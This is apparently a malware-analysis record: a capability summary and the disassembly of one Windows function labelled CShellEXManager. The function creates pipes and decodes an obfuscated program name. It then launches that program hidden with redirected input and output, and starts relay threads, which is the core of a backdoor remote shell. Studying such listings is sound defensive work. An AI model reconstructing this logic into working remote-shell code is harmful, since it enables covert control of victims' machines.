Function at 0x403d20
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
push 0x104
push 0
mov dword [edi + 8], eax
mov dword [eax + 8], edi
lea eax, [ebp - 0x124]
push eax
mov dword [edi], vtable.CShellEXManager.0
call fcn.00406600
add esp, 0xc
mov dword [edi + 0xc], 0
lea edx, [ebp - 0x134]
mov dword [edi + 0x10], 0
lea eax, [edi + 0x18]
mov dword [edi + 0x14], 0
lea ecx, [edi + 0xc]
mov dword [eax], 0
push 0
push edx
push eax
lea esi, [edi + 0x10]
mov dword [ebp - 0x134], 0xc
lea ebx, [edi + 0x14]
mov dword [ebp - 0x130], 0
push ecx
mov dword [ebp - 0x12c], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x403dda
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x403dc7
push eax
call esi
mov eax, dword [edi + 0x18]
test eax, eax
je 0x403f66
push eax
call esi
jmp 0x403f66
push 0
lea eax, [ebp - 0x134]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x403e10
mov eax, dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x403dfe
push eax
call esi
mov eax, dword [ebx]
test eax, eax
je 0x403f66
push eax
call esi
jmp 0x403f66
push 0x44
lea eax, [ebp - 0x18c]
push 0
push eax
call fcn.00406600
add esp, 0xc
lea eax, [ebp - 0x18c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor eax, eax
mov dword [ebp - 0x18c], 0x44
mov word [ebp - 0x15c], ax
mov eax, dword [ebx]
mov dword [ebp - 0x154], eax
mov eax, dword [edi + 0x18]
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x150], eax
lea eax, [ebp - 0x124]
push 0x104
push eax
mov dword [ebp - 0x160], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor eax, eax
mov dword [ebp - 0x18], 0x1e2d4958
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x14], 0x291ead9
xor dword [ebp - 0x16], 0x3d97b55
mov dword [ebp - 0x1c], 0xf4c3635c
xor dword [ebp - 0x1a], 0x2c7690ae
mov dword [ebp - 0x10], 0x5ba038
xor dword [ebp - 0x12], 0x875cb7f2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x18c]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
push 0
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x403f10
push dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x10]
call esi
push dword [ebx]
call esi
push dword [edi + 0x18]
call esi
jmp 0x403f66
mov eax, dword [ebp - 0x144]
mov ecx, dword [edi + 8]
mov dword [edi + 0x1c], eax
mov eax, dword [ebp - 0x140]
mov dword [edi + 0x20], eax
lea eax, [ebp - 0x125]
push 1
push eax
mov byte [ebp - 0x125], 0x44
call fcn.00401f40
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
push 0x404ea0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x404f90
push 0
push 0
mov dword [edi + 0x24], eax
call esi
mov dword [edi + 0x28], eax
mov ecx, dword [ebp - 8]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040506d
mov esp, ebp
pop ebp
ret 4